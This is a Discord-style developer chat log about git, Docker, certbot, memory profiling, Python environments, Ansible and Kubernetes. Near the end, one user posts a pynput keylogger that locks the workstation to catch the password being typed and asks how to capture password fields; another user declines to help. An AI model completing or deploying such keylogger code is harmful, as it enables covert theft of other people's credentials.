#tools-and-devops
1 messages Β· Page 16 of 1
@brazen forge
isn't
gitthe only backend rn? π
there are some other ones, e.g. gerrit requires special stuff
and of course the google internal one, but idk if you would count that
interesting
Finding a github approximant would be a big obstacle to changing VCS at work
im creating a new venv, new project and when im trying to commit and push the shit related to the new project, i have stuff from other projects overlapping with my new repo and it is becoming a mess
this issue is related to git
What tooling do you guys use for monorepos? I'm looking for something that's, ideally, not as complicated as Bazel etc.
at work, we use custom tooling that uses⦠Git submodules
Haven't looked at git submodules at all to be honest but I keep hearing bad things about it. How as your experience been with it? Is it worth me looking in to it?
if you heard bad things, you heard right
Why do you need a monorepo? I never worked with them tbh 
Aside from making CI harder to do it's just nicer than having a repo for frontend and backend imo.
At work I'm working on a multi year project that's scattered across 4-5 repos and that also sucks a bit
I think it depends, if you're a fullstack dev - having both frontend and backend in one repo could be super useful
But I feel like it brings it's own aset of challenges
And CI would potentially be harder, no?
Yeah, CI is the bummer
I thought you said that CI is harder in separate repos π
It's way easier in separate repos imo
If it's just frontend + backend - I feel like having two separate editor windows is better
Yeah, I agree
Why do you have 4-5 repos for the backend though?
That wasn't a backend. End-to-end, backend, data engineering to ML project.
But if one of those repos is frontend, another one is backend, what other 2-3 are doing?
(At least) one repo is just used for data ingestion/backend and uses Elixir, another is the downstream data engineering and that's a mix of Python/R. There's another that is further downstream data engineering, fully Python, one for data viz (let's call it frontend) and a final for ML.
I'll have to figure out how to do CI and version management across this thing if it were a monorepo but realistically, having the entire project in a singular repository would've been better in hindsight
What have you've gotten yourself into? π
I'm not the only one working on this π€·
I think there's even more slightly hidden repos
how do i get docker to cache pip install -r requirements.txt in such a way that it caches everything up to whatever line fails?
iirc pip downloads and caches all dependencies before building any wheels, so just telling docker to store your cache should be sufficient:
https://docs.docker.com/build/cache/#use-the-dedicated-run-cache
https://github.com/thegamecracks/thestarboard/blob/main/Dockerfile#L10-L11
Dockerfile lines 10 to 11
RUN --mount=type=cache,target=/root/.cache \
pip wheel --wheel-dir pip-deps -r requirements.txt```
that doesn't cache the built wheels, does it?
like, if you had multiple packages for which wheels need to be built (e.g., packages on Alpine with C extensions)
pip downloads and caches all dependencies before building any wheels
derp, im wrong about this point:py (.venv) C:\Users\home\Documents\GitHub\dum-dum-irc>pip install --no-binary :all: numpy LinkPython-extern Collecting numpy Downloading numpy-1.26.4.tar.gz (15.8 MB) ββββββββββββββββββββββββββββββββββββββββ 15.8/15.8 MB 2.6 MB/s eta 0:00:00 Installing build dependencies ... /although after it errored in that build process, the subsequent run did use the cached sdist... so each step immediately writes to cache instead of waiting until the end?
ty for comments, fixed my issue
https://pip.pypa.io/en/stable/topics/caching/
i think this page implies that HTTP responses and locally built wheels are both cached under ~/.cache/pip
neat
I setup certbot (image: certbot/certbot) in docker-compose. All of my other containers are up and running successfully (PostgreSQL, Nginx, Django), but Certbot.
My issue I cannot select 1 or 2 from the options below when this log pops up in the Terminal. Trying to select one of the existing Certf. And active HTTPS (443).
container-for-certbot | Saving debug log to /var/log/letsencrypt/letsencrypt.log
container-for-certbot | Certificate not yet due for renewal
container-for-certbot |
container-for-certbot | You have an existing certificate that has exactly the same domains or certificate name you requested and isn't close to expiry.
container-for-certbot | (ref: /etc/letsencrypt/renewal/mydomain-name.com.conf)
container-for-certbot |
container-for-certbot | What would you like to do?
container-for-certbot | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
container-for-certbot | 1: Keep the existing certificate for now
container-for-certbot | 2: Renew & replace the certificate (may be subject to CA rate limits)
container-for-certbot | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
container-for-certbot | Select the appropriate number [1-2] then [enter] (press 'c' to cancel): An unexpected error occurred:
container-for-certbot | EOFError
container-for-certbot | Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more details.
memray flamegraph and memray table say peak RAM usage is 600mb, yet the python app fills memory then SWAP and finally crashes. any tips for better profiling?
U can attach to container active process for stdin commands
With docker attach command
Just ensure tty is turned on for that
turns out using memory_profiler's line-by-line profiling is better
still wonder why I couldn't get this info from memray
Sorry. I don't understand what you mean.
tty is turned on for containers if having them launched with -it parameter
for docker compose it is
version: "3.8"
services:
app:
build:
context: .
tty: true
i am not sure if it is strictly necessary for docker attach
but it can be needed π
My setup that works under regular HTTP port 80. But everything breaks when I add certbot into the equation: server {
listen 8080;
server_name mysite-domain.com www.mysite-domain.com;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
location / {
proxy_pass http://blog;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_redirect off;
}
location ~ /.well-known/acme-challenge {
allow all;
root /var/www/html;
}
}
web-server-nginx-service:
image: nginx:1.25-bookworm
ports:
- 80:8080
volumes:
- ./nginx/nginx-setup.conf:/etc/nginx/conf.d/default.conf:ro
depends_on:
- database-postgresql-service
- backend-django-service
certbot-service:
image: certbot/certbot
container_name: container-for-certbot
volumes:
- certbot-etc:/etc/letsencrypt
- certbot-var:/var/lib/letsencrypt
- web-root:/var/www/html
depends_on:
- web-server-nginx-service
is it possible i'm getting a memory leak? never had one before in Python and the program is increasing RAM usage until it crashes (not expected behaviour)
For example the renderer extensions for JupyterLab were all together in a monorepo, I was keen on the geojson one for a while, it hasn't worked recently.
Sure, why not
hm i thought automated garbage collection dealt with this, dang
At minimum it tends to fail in some C dependencies
Also it can fail if you on purpose accumulating links to objects
A common way to memory leak: reopening db connections all the time again
i am dealing with schrodingers code. when i profile a particular object, memory leak happens during the profiling and nowhere else. when I comment out the profiling function call, leak happens somewhere else in the code.
does anyone have suggestions to figure out what the heck is going on
If I have a GitHub workflow problem, is this the right channel to ask?
sure, the channel description covers CI/CD as an allowed topic
I want to write a github workflow that can auto assign the reviewer when a pull request is open.
is it to specific files or any file?
I tried some workflows generated by ChatGPT, but it all failedβ¦..
sounds like something you can do more simply with a CODEOWNERS file
Iβve never used something like that before.
Could you help me out?
Code owners are automatically requested for review when someone opens a pull request that modifies code that they own.
...
To use a CODEOWNERS file, create a new file called CODEOWNERS in the.github/, root, ordocs/directory of the repository, in the branch where you'd like to add the code owners.
...
A CODEOWNERS file uses a pattern that follows most of the same rules used in gitignore files. The pattern is followed by one or more GitHub usernames or team names using the standard@usernameor@org/team-nameformat.
here's a pretty basic example:
https://github.com/thegamecracks/sqlitediff/blob/main/.github/CODEOWNERS#L1
.github/CODEOWNERS line 1
* @thegamecracks```
it says that all files in the repository are owned by me so i'll become a reviewer if a PR touches any of them
oh!!! I see!!!
Wow this is much easier! Thank you very much
Dependabot is failing
So I go and look up the latest hashes that DockerHub gives me and bump it myself: impressdesigns/charlie#62
And... then Dependabot bumps it right back to those same tags that it didn't like again: impressdesigns/charlie#63
If I try to change the URL to those hashes that Dependabot doesn't like, DockerHub can't seem to find them either
I don't understand where Dependabot is getting these hashes from
how is it possible for gc.get_objects() to leak memory?
What profiler are you using? Perhaps memray is a good tool for this?
With setting up VS code, specifically.
Hey guys, Im a student trying to get openapi-generator-cli working. I beleive I have generated the folders correctly from the .yaml file but I am having issues importing from the generated_client folder. Can someone please assist me ?
You employ incorrect strategy to ask questions.
Instead of asking to ask
You should be writing what steps/code u made/wrote and which error u received.
Then u will be potentially able to help yourself just by asking it even if no one was able to answer it.
Or someone could be seeing in your debugging information an answer and helping too
Write always what u made/wrote, what u received and what you expected to receive (with explaining highly preferably for which reason u sought it). Three things for a successful question
ok , I will post more details in my python help request that I created
@rapid sparrow If you could check there that would be apprciated
I put together an interac tive tool to compare yapf and black. Initially I found 2 examples that yapf formats poorly:
def function_call_with_lists_literals():
operate_on_lists(([0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09],
[0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19],
[0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29]))
do(([0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09],
[0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19],
[0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29]))
yapf google style:
def function_call_with_lists_literals():
operate_on_lists(
([0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
0x09], [0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19],
[0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29]))
do(([0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
0x09], [0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19],
[0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29]))
What knobs can I modify to control this? Something like increasing the penalty on splitting the "leaf" lists?
I tried a lot of knobs but doesn't seem to be controllable, create an issue if anyone is interested: https://github.com/google/yapf/issues/1210
I'm losing my mind, I'm trying to swap my pip with uv pip but for the life of me, I can't tell where uv installs itself when I use the default install script
it feels stupid to do pip install uv -> uv pip install -r requirements.txt
i thought it was ~/.cargo/bin
but eh
/root/.cargo/bin/uv this worked
but bleh
I use pipx
yes but this has it's own install script it's a rust program available on pip for ease of use
Can you not just alias it? Or is that what you're trying to do?
Oh maybe that clobbers weird on the PATH because pip already exists on the path. 
huh. I mean you can just... remove pip in that case, right?
Hey all
can you share the install script? usually there's some kind of PREFIX env var that you can change
sometimes also the install scripts are too aggressive (trying to be helpful) about modifying your shell init scripts
i haven't actually used uv yet. does it let you choose which python environment to install into?
i'm looking at the --help output and i don't see anything like that
for example i have a venv in ~/my-project/venv -- can i tell uv to operate on that venv somehow?
https://github.com/astral-sh/uv
it's here
curl -LsSf https://astral.sh/uv/install.sh | sh
the install script isn't in the git repo π€
let me download it and see what it does
i always recommend downloading those install.sh scripts and manually reviewing them before running
you never know what silly stuff they might be doing in there
i also tend to save them in ~/src, so curl -LSfs 'https://astral.sh/uv/install.sh' -o ~/src/astrall-install_2024-03-14.sh and that way at least i have some record of what i did on my machine
@rotund wyvern it looks like it just uses your usual cargo settings
so check $CARGO_HOME, or ~/.cargo if you don't have CARGO_HOME set
I'm in a docker container so i don't care lol
on my system, i use brew
The install link is a redirect to github releases
$ curl https://astral.sh/uv/install.sh -s --head | grep location
location: https://github.com/astral-sh/uv/releases/latest/download/uv-installer.sh
Source is this. https://github.com/axodotdev/cargo-dist/blob/main/cargo-dist/templates/installer/installer.sh.j2
thats the installer, im looking for the actual uv executable lol
but i think it's ~/.cargo
yeah, ~/.cargo/bin unless you set $CARGO_HOME
Just doing some side projects at work, i usually use macos, but for this ill use Windows with WSL2. What is the best way to manage my python envrionment?
Couple users will run this code, max.
Same way as macos. Pyenv
ty
Python tooling doesn't really change between platforms
Just don't use the system python and you'll be fine
i'm fond of rye handling this lately, pyenv is quite slow and gets messy when it basically recompiles python every time
Ah I just remember virtualenv having some weird issues before
I got it working just fine but wondered if I was doing something odd, I don't keep up much with new tooling
so there's a danger I was 10 years out of date or something π
Ubuntu's python doesn't come with venv by default. You'd need to sudo apt install python3-venv
or use the virtualenv version
python3-virtualenv
If you're using the latest non-lts ubuntu, you can also install pipx
You can also try rye
An Experimental Package Management Solution for Python
I have a couple of Docker images that have 3 separate stages, which I build through 3 Dockerfiles. I choose each stage from two or three possible Dockerfiles. When I modify one of the lower Dockerfiles, I'd need all inheritances to automatically rebuild. Any tool that could help me manage this, how do I just bash?
Docker has multi staging building
Here is example of complex one
https://github.com/darklab8/infra-game-servers/blob/master/Dockerfile
FROM golang:1.21-bullseye as build
RUN apt update
RUN apt install -y build-essential
RUN apt-get install ca-certificates -y
RUN gcc --version
WORKDIR /code
COPY go.mod go.sum ./
RUN go mod download -x
COPY bot bot
FROM build as minecrafter-build
RUN CGO_ENABLED=0 go build -v -o main bot/minecrafter/main.go
FROM build as avorioner-build
RUN CGO_ENABLED=0 go build -v -o main bot/avorioner/main.go
FROM docker:24.0.7-cli as runner
WORKDIR /code
COPY --from=build /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
CMD ./main run
FROM runner as minecrafter-runner
COPY --from=minecrafter-build /code/main main
FROM runner as avorioner-runner
COPY --from=avorioner-build /code/main main
Each time when i declare FROM another_image as name
it is already another stage
depending on supplied target argument during building, it will build specific stage
docker build --tag darkwind8/${repo}:${tag_version} --target ${repo}-runner .
hm I see, thanks for the input!
multi-stage builds are great, they're under-used imo
hm yeah, but I wish I could use another Dockerfile without building it first
would save me some disk space
There is tool like that... i did not find it my cup of tea
https://docs.earthly.dev/docs/guides/docker-in-earthly
oh nice, thanks for the reference!!
hm, how do I keep a container running after interrupting its entrypoint?
could u be more specific regarding usage case scenario
there are different ways to approach it, depending on why u need it
my container runs memray on a program that leaks memory (so it doesn't close by itself, and I have to interrupt it)
i need to get the output of memray from the container's FS
i could set /bin/sh as the entrypoint and run memray manually but i'd like to automate this
debugging long time running applications, got it
launch app with docker run -it -d
or with docker-compose up -d in background
and use docker exec -it containerIDorName sh
or docker-compose exec service_name sh to enter already running one (you may need to turn on tty: true for this)
(docker attach command can attach you directly to already running process if necessary)
oh nice, thanks!!
Are there any tools that can convert python code into flowchart
hm tried this, but interrupting the main process kills the container
even if we use -itd
write sequence of your commands
ENTRYPOINT ["valgrind", "--tool=massif", "--trace-children=yes", "-v", "/Python-3.11.2/python", "bert.py"]
docker build -t imagename -f dockerfile_name .
docker run -it -d imagename
docker attach container_name then C^
use docker exec for interacting without disrupting
docker attach is special one attaching to main process. to prevetn disrupting u need using special escape syntax Ctrl-p Ctrl-q for exit or disabling sigkill forwarding (--sig-proxy=false` option
if all you need is grabbing logs, u can use docker logs command (optionally with tail)
i need to interrupt otherwise valgrind does not produce output file
:/
docker containers aren't meant to be run after interrupted in their main process by design
you can override it, but why would u wish doing that
apply restart policy always or smth for after reboot
need valgrind file output heheh
file output...
just forward volume
where it contains to disk
it will output regardless of container exit/dstruction
with -v you mean?
-v path_at_host:path_in_container
oh i see, will try that ty!
-v /absolute_path_at_host:/absolute_path_in_container
if wishing not absolute, use $(pwd) as a hack for docker.
May be it was fixed though
docker-compose supports relative paths
is there a tool that converts python into flowchart?
Finally got my gif uploaded, is it possible to understand what this tool does? π
https://github.com/kaddkaka/python-formatting-examples/
so
finding the dependencies for stuff, when you need to build from source, is an absolute pain
solution 1: try to find a gentoo package that has the USE flag you need, and build it in a container
if that's not possible, solution 2: make a nix flake that modifies an existing package with the build options you need
otherwise, freestyle like we've always been doing
is there no better way to do it?
i just google "docker hub ThingINeed"
postgres https://hub.docker.com/_/postgres
or steam
and etc. any system.
I just use stuff already available π
The PostgreSQL object-relational database system provides reliability and data integrity.
yeah but sometimes you need specific build options
most docker images just contain the entire thing without specific options for build options
and docker hub/docker images is only the first brick.
Open source community offers a lot of more complex solutions ready for deployment with Helm charts and Tanka to kubernetes!
Configured monitoring systems, replicable databases and etc!
no idea what u install that requires that, but i just use Debian(optionally Ubuntu which is same Deb) based images when i wish things to keep simple.
I don't care about extra size. They are very simple and most popular, ecosystem rich docker images to build stuff on top of them
I could be aiming for small sized images and using Alpine alternatively. Works well with compiling langs like Golang. The only other OS i use
In other cases i prefer just using Debian in order to be not having headaches (Python better works with Deb)
for example: build Python with --with-memory-sanitizer, then build another Python using -ltcmalloc in link stage in a different image
wtf.. building python π for docker? what? why?
third: build python with --with-debug
memory profiling, need different options
you change the C internals of CPython
so that you can record what it is doing
ergh, you are more expert on this topic then. Never needed this stuff.
All my memory problems are resolved with setting properly Soft/Hard memory limits to running containers
Well, once i debugged memory problems in Golang though, it was my personal project and i did not wish it to leak, but otherwise neever needed taking care of it π€
what libraries/frameworks would you guys suggest to manage and automate the following workflow?
- start an instance on either AWS or GCP
- start container with specific context + dockerfile
- save run information/logs
- close instance on AWS or GCP
Interesting. Interesting π€
is it important which type of instance got started? are they all going to be uniform same?
docker is not using OS specific stuff volume forwarded from host to container runtime?
instance is variable depending on 1. current cost, and 2. necessary task
that's why I need cross cloud solution
Well, i can say for sure we would be using for step 2 docker-compose to run it
version: '3.8'
services:
postgres:
image: postgres:15.5
expose:
- "5432"
environment:
POSTGRES_USER: myusername
POSTGRES_PASSWORD: password
POSTGRES_DB: mydbname
healthcheck:
test: pg_isready --username=myusername --dbname=mydbname
interval: 5s
timeout: 5s
retries: 10
task:
build: .
environment:
POSTGRES_HOST: postgres
MARIADB_HOST: mariadb
MYSQL_HOST: mysql
POSTGRES_PORT: "5432"
MARIADB_PORT: "3306"
MYSQL_PORT: "3306"
AWS_CONFIG_FILE: /code/config
working_dir: /code
volumes:
- ".:/code"
entrypoint: task
depends_on:
postgres:
condition: service_healthy
like this probably
i think in general the solution might be something like terraform+ansible
hm very nice, for multi-container app
in such usage case running CI is simple like this
name: CI
on:
pull_request: {}
workflow_call: {}
concurrency:
group: ${{ github.ref }}
cancel-in-progress: true
jobs:
unit-tests:
runs-on: [self-hosted, linux, x64]
name: Tests
steps:
- uses: actions/checkout@v2
- uses: webiny/action-post-run@2.0.1
with:
run: docker-compose -f docker-compose.test.yml -p ${{ github.run_id }} down --volumes --rmi local --remove-orphans
- name: Raise database containers
run: docker-compose -f docker-compose.test.yml -p ${{ github.run_id }} run task check
- name: Run mypy
run: docker-compose -f docker-compose.test.yml -p ${{ github.run_id }} run task mypy
- name: Run tests
run: docker-compose -f docker-compose.test.yml -p ${{ github.run_id }} run task pytest
healthchecks ensure database is healthy for task executions
u could put same stuff into Ansible
it has docker-compose module
wait is this still docker-compose?
that was Github Actions, but i provide u with link how to do same with Ansible
I see ok
yeah I really need to get into github actions, it looks like it does a lot of automation
Ansible has similar syntax for delayed job to run always after playbook
Github Actions does it with
- uses: actions/checkout@v2
- uses: webiny/action-post-run@2.0.1
with:
run: docker-compose -f docker-compose.test.yml -p ${{ github.run_id }} down --volumes --rmi local --remove-orphans
Ansible does the same with... ergh... forgot the name.. Handler? something is triggered in ansible to run after playbook
https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_handlers.html
Yeah, here they are
hm I see
thanks a lot for the suggestions highly appreciated
the part i'm currently wondering about is whether anyone has come up with a cross-cloud instance starting or scheduling framework
save run information/logs
this part can be handled with Ansible too i guess
it will be the best going with Ansible in your workflow i think
Ansible is basically... ergh.. the most Server agnostic solution.
If u will read book... "Practical Ansible 2 from Packt" i think, it mentions how to write playbooks in a comfortable way with depending on which OS u run it
it can run slightly different instructions depending on OS type or any other information it Gathered during playbook start from OS
So, i certainly agree with doing it with Ansible in such requirements
hi, can someone help me with selenium webdriver? having some problems
ah very nice, I see thanks for the book rec
you guys do a lot of cloud work?
it's completely different than anything I worked with before
i just don't want to get locked into using a single cloud service
last 2 years spent in AWS with Terraform, running stuff in AWS ECS container scheduling system for immutable deployments. We have nice custom deployment system, and do everything with Github Actions (after migrated from previous CI system hehe)
Recently started migrations towards kubernetes for more cloud agnostic solution, because we need to run stuff in not only AWS
am slowly working towards kubernetes atm
really interesting stuff
that i do too. In company we just do Kubernetes with Terraform Kubernetes provider. It is okay.
We plan to go for ArgoCD later and more kube native approach... I do that in homelab and enjoy using ArgoCD in pair with Cue language.
It is really strong language offering code quality not lower than Terraform one. Very good usable with ecosystem of kube solutions.
Its killer feature, tight integration with golang and ability to import types for config writing from Golang structs. So it just imports types for configs if u choose it, from Kubernetes official libs (the Cue gives u freedom to install whatever dependencies u wish and import from anything)
I slowly rework my homelab towards this ArgoCD + Cue setup. made sure ArgoCD to work with Cue too.
also Cue can easily plublish reusable code between repositories, just by publishing Git tag. because it abuses Golang dependency management system
woah this ArgoCD stuff looks cool, haven't heard of it before am looking at docs
So i am going to have a lot of reusable between repositories, autovalidated kuber code
yeah, it is very easy to use and getting started. Helps to organize and autodeploy, auto sync all different kuber code, be it manifests, helm, jsonnet, or any other custom language like Cue.
It has really nice comfort GUI interface which u don'n't need to click at all if u wish, or u can press just one button to resync.
Kube community is divded between ArgoCD and Flux solutions for this
(Flux is interesting to check its docs too, its documentation contains a lot of generic solutions/patterns both usable for Argo and Flux how to solve common problems like getting secrets out of repo https://fluxcd.io/flux/security/secrets-management/ without git commiting them )
very cool stuff, market for cloud dev doesn't seem to be getting smaller any time soon so the general step towards this direction imo is a reasonable idea
As long as not too much yaml, i am happy. π
i don't like Yaml.
looks cursed to me to have zero static typing auto validations
at best i can agree reuse ready to use Yaml solutions like in Github actions and its market
makes life very simply when your workflow just depends on already made open source solutions from Market of community
in this case Yaml is okay. As long as i am not the one maintaing it basically
for my own custom stuff i will prefer better way to write stuff
Yay to Cue https://cuelang.org/ for config management and yaml generation!
Validate and define text-based and dynamic configuration
and to terraform opentofu (terraform kubernetes provider is okay)
hm will look up cue, have not heard of it before
This is good stuff if u are Golang familiar and static typing fetishist (and at the same time infra managing dev π )
really tight integrated with Golang
i enjoy so far very much its usage, because i can write infra/yaml code that can scale
and i can reuse different variables, or even having just reuse entire different yaml parts, all in static typed way. This is good
I enjoy code quality with Terraform for infra code, because i have static types, all the auto validations and code reusage. Why not to have same with yaml ^_^
last but not least
https://k9scli.io/ Check this stuff
Life with Kubernetes significantly easier when u have easy to navigate TUI over the cluster
K9s provides a terminal UI to interact with your Kubernetes clusters. The aim of this project is to make it easier to navigate, observe and manage your Kuber...
it does not require any server side installed. As long as u have kubectl access, it will work
easy status searching over all contexts, namespaces, resources, or entering pods for shell debug, or port forwarding and etc.
hm there's the hcl syntax also, that's used for docker buildx that i've found nice
nice! i did not know about this
very nice tui aesthetics hehe
exactly ^_^.
New Release PyFlunt v2.2.0
https://github.com/fazedordecodigo/PyFlunt/blob/main/README_EN.md
What is it for? When users fill in webforms or whenever you try to validate user input in any kind of application?
The example with arbitrary rules for name (minimal 3 characters) reminded me of this funny read https://www.kalzumeus.com/2010/06/17/falsehoods-programmers-believe-about-names/
For virtual environments, is using mamba a better idea compared to say pipenv or venv?
Ik conda is extremely slow so I've been trying mamba and it seems fine rn, was wondering if it was a good idea
I don't use conda and have never heard of mamba. Given that: I'd avoid mamba simply because I've never heard of it. Most new things are bad.
what's wrong with venv?
mamba is just a much faster conda
for one it won't manage multiple python versions
meaning the ability to use multiple python versions in a single env?
No, as in having envs with different python versions
like one env with python 2.7
one with 3.8
one with 3.12 etc
You can do that with venv
You can?
it'd be venv python=2.7 etc?
no
Like py -3.8 venv .
would create a venv with python 3.8
Command "c" is not found
and py -2.7 venv would work?
I doubt it
it would probably but why are you even bothering with 2.7
but py -2.7 -m venv .venv-2.7 probably would
it eol'd long ago
the google interview challenge
it requires python 2.7?
Never understood the old version requirements for these anyways
which era is google living in
Apparently the 2000s
like f-strings and match-case are goated tbh
I've also heard about poetry but idk if that's any good
curious on why you make the env folder hidden
fair
perhaps it's a reminder to myself to not add that folder to the git repo
good point
i've gone back and forth on this. i like the idea of keeping non-VCS files visibly separate from VCS files
another option could be something like .local/python if you're in a repo with a bunch of "tools" installed (uncommon but not impossible)
personally i had a very shitty experience with it on windows
everything just works magically on linux anyways
That's usually the opposite
weird
Yeah sounds like good practice
β― py -2.7 -m venv .venv
Unknown option: -2
usage: python [option] ... [-c cmd | -m mod | file | -] [arg] ...
Try `python -h' for more information.
~/test
β― py -3.8 -m venv
Unknown option: -3
usage: python [option] ... [-c cmd | -m mod | file | -] [arg] ...
Try `python -h' for more information.
β― py --version
Python 3.11.8
Maybe that's for Windows
https://stackoverflow.com/questions/65685217/how-to-create-a-python-2-7-virtual-environment-using-python-3-7
I mean there isn't a way to do this with 2.7 or any version so idk what you guys meant
py is windows-only, correct
on other systems use the python executable directly
That's not the issue
it's the invalid flag
Hello I started learning docker recently however I have no idea why application can't find playwright Firefox if it's installed in root but installing it after switching to non root works:
# Stage 1: Build
FROM python:3.11-slim as builder
WORKDIR /app
# Copy requirements.txt
COPY requirements.txt .
# Install dependencies
RUN pip install --no-cache-dir -r requirements.txt
# Copy app
COPY app app
# Stage 2: Production
FROM python:3.11-slim as production
WORKDIR /app
# Copy installed modules from the builder stage
COPY --from=builder /usr/local/lib/python3.11/site-packages /usr/local/lib/python3.11/site-packages
# install playwright dependencies
RUN python -m playwright install-deps && \
# Clean up
rm -f /usr/lib/x86_64-linux-gnu/libmfxhw* /usr/lib/x86_64-linux-gnu/mfx/* && \
# Create non-root user
useradd --home-dir /app --shell /bin/sh zaws && \
chown -R zaws:zaws .
# Switch to non-root user
USER zaws
# install firefox inside non-root
RUN python -m playwright install firefox
# Copy application code from the builder stage
COPY --from=builder /app /app
# Run application
CMD ["python", "app/main.py"]
did you add it to path?
Yesh, figured you need to give the user permission to access
docker exec ... /bin/sh and figure out why the command fails
fyi python docker has bash
Anybody know any communities about OCR, particularly tesseract-ocr? Discord server would be nice, but any community I'll be thankful π
i need some help becouse i cant open my tool
As in scanning books and analyzing text?
This is a page with a LOT of scanned books. Mostly Swedish I would assume. They are backed by LinkΓΆping University and the computer student organisation Lysator. They should be experts in ocr and have an irc channel.
what's something that works like kubernetes but for orchestration of vms instead of containers?
haha, yes. https://kubevirt.io/
woah nice! i wanted exactly kubernetes but without containers
this is great
ty
im getting a strange error
so this is my code
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.common import NoSuchElementException, ElementNotInteractableException
from selenium.webdriver.support.wait import WebDriverWait
from random import choice
from data import *
option = webdriver.ChromeOptions()
#option.add_argument("-incognito")
#option.add_argument("--headless")
browser = webdriver.Chrome(options=option)
browser.get("FORM URL REDACTED")
textboxes = browser.find_elements(By.CLASS_NAME, "rFrNMe k3kHxc RdH0ib yqQS1 zKHdkd")
submitbutton = browser.find_elements(By.CLASS_NAME, "uArJ5e UQuaGc Y5sE8d VkkpIf QvWxOd M9Bg4d")
# browser.implicitly_wait(2)
# wait = WebDriverWait(browser, timeout=2)
# wait.until(lambda d : textboxes[0].is_displayed())
for student in students:
textboxes[0].send_keys("NAME")
textboxes[1].send_keys("EMAIL REDACTED")
textboxes[2].send_keys(student[1])
textboxes[3].send_keys(student[0])
textboxes[4].send_keys(choice(nice_messages))
submitbutton[0].click()
browser.close()
no matter what i try with waits
different By
it tells me that textboxes[0] is out of range, or simply, it doesnt exist
but it clearly does
pls ping when responding
are google cloud instances billed by compute or by up-time, specifically for CPU usage?
I know it is by up-time for disk space
Google Cloud Functions are GCP Lambda equvalient. billed by computing time only
hey i want to setup pytest that it calls ruff and mypy in the src dir but when i have it in my pyproject.toml it doesnt like it
[tool.mypy]
strict = true
mypy_path = "src"
[tool.ruff]
line-length = 120
indent-width = 4
[tool.ruff.lint]
select = ["E","F","I"]
[tool.ruff.format]
quote-style = "double"
[tool.pytest.ini_options]
addopts = """
--mypy
--ruff
"""
https://taskfile.dev/
u could use Taskfile to join different commands instead
i mean yes but i think it is a build in function already for the pytest so no need foe another plugin
you can also use pdm. ```toml
[tool.pdm.scripts]
test.composite = [
"mypy",
"ruff",
"pytest",
]
I like to do this with it. ```toml
[tool.pdm.scripts]
dev = "uvicorn app:app --reload"
when is ansible not enough for workflow orchestration? i.e. when should you move from ansible to something like n8n
when i have it in my pyproject.toml it doesnt like it
what do you mean by this? what problem are you actually seeing?
Why does it say theres no module name for requests? Also im making a script tool that checks if i have any missing assignments.
import requests
from bs4 import BeautifulSoup
url = ''
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
assignments = soup.find_all('div', class_='assignment')
for assignment in assignments:
assignment_name = assignment.find('div', class_='assignment_name').text.strip()
due_date = assignment.find('div', class_='due_date').text.strip()
if 'missing' in assignment_name.lower():
print(f"Missing Assignment: {assignment_name} (Due: {due_date})")
Probably you didn't install requests or you didn't activate your virtual environment or you installed requests somewhere else
if i have a cluster that has a CI/CD workload usually but I want periodically to add non-CI/CD related workloads, what can I use to orchestrate this? schedule/prioritizing/queue/requeue/etc.
Maybe anything that can assign cpu and meory requests/limits?
Like k8s
might need to try k8s, yeah
Insufficient information to recommend a best tooling
you could describe better what is your infrastructure setup
and what kind of non CI CD related workload u wish to run
uh yo
i'm not sure this is the right channel to ask about this but i'm trying to developp a keylogger for fun
i have this code for now
import pynput,os,time,subprocess
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
keys.append(key)
def on_release(key):
if key == Key.esc:
return False
def write_file(keys):
with open('assets\log.txt','w') as log:
for key in keys:
log.write(str(key).replace("'", ""))
listener = Listener(on_press=on_press,on_release=on_release)
listener.start()
time.sleep(7)
subprocess.run(['Rundll32.exe','user32.dll,LockWorkStation'])
time.sleep(7)
write_file(keys)
the problem is it doesn,t work inside the password field
any ideas ?
My idea: nobody will help you with a key logger
Can someone help me with creating the code to access the tool?
What is meaning of DevOPS term.
it's pretty vague
it means something like "both writing code, and doing all the other crap you need to do to get it to automatically deploy and run once you push to your main branch"
It has two meanings
Original one, meaning cultural shift towards better development workflows processes. Nobody uses this one any longer
And usually it means today, infra devs that write infra code to automate deployment procedures. They keep as infra code fully replicated configuration from zero to raise everything, keeping all infra configurations documented as a code and versioned via git as normal development.
Tldr, DevOps is about people caring about maintaince/running of projects, with having for that infra, scaling, monitoring systems, security and etc configured via their Infrastructure as a Code
Usually they are responsible for CI CD pipeline
And will provide in one way or another means to debug/migrate and etc issues in already running environments
DevOps job role can variate with different percentage of Dev and Ops in their duties. It can be having pretty high Dev part, 50%+ and etc, as they can be responsible in ensuring every part is automated
and they can be even pure 100% Ops under the hood, which usually means it is actually System Administrator job instead of DevOps actually technically
Regular instruments wielded by them: Shell/bash, some programming full language (at least one scripting usually), Docker, CI, infrastructure instruments from Salt, Puppet and Ansible
